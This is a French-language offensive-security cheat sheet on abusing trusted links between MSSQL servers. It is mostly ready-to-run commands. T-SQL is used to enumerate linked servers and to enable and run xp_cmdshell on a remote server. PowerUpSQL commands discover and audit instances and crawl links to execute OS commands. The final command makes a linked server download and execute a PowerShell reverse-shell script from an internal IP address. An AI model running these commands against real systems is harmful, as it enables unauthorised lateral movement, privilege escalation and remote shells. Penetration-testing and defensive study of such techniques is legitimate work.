🚧MSSQL Trusted Links

Les bases de donnĂ©es MSSQL peuvent ĂȘtre liĂ©es, de sorte que si vous compromettez l'une d'entre elles, vous pouvez exĂ©cuter des requĂȘtes (ou mĂȘme des commandes ) sur d'autres bases de donnĂ©es dans le contexte d'un utilisateur spĂ©cifique (Domain Admin par exemple). Si cela est configurĂ©, cela peut mĂȘme ĂȘtre utilisĂ© pour du cross trust Forest ! Si nous disposons d'une exĂ©cution SQL, nous pouvons utiliser les commandes suivantes pour Ă©numĂ©rer les liens entre les bases de donnĂ©es.

# Trouver les serveurs liés
EXEC sp_linkedservers

# Lancer des requĂȘtes SQL sur le serveur link ciblĂ©
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

# Autoriser 'xp_cmdshell' sur le serveur distant est exécuter des commandes, cela ne marche que si le protocole RPC est activé
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER

Nous pouvons Ă©galement utiliser PowerUpSQL pour rechercher des bases de donnĂ©es dans le domaine, et recueillir des informations supplĂ©mentaires sur les bases de donnĂ©es (accessibles). Nous pourrons Ă©galement rechercher automatiquement, et exĂ©cuter des requĂȘtes ou des commandes sur des bases de donnĂ©es liĂ©es (mĂȘme Ă  travers plusieurs couches de links de bases de donnĂ©es).

# Obtenir des bases de données MSSQL dans le domaine, et tester la connectivité
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Obtenir des information sur toutes les bases de données du domaine
Get-SQLInstanceDomain | Get-SQLServerInfo

# Avoir des information sur une seule base de donnée 
Get-SQLServerInfo -Instance TARGETSERVER

# Scanner la base de donnée MSSQL pour observer des potentielles mauvaises configuration
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# ExĂ©cuter une requĂȘte SQL
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Exécuter une commande (autorise XP_CMDSHELL automatiquement si besoin)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Trouver toutes les base donnée liées 
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# executer une commande si XP_CMDSHELL est autorisé sur une des base donnée liée
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''<http://172.16.100.55/Invoke-PowerShellTcpRun.ps1>'')"' | select instance,links,customquery | ft

Last updated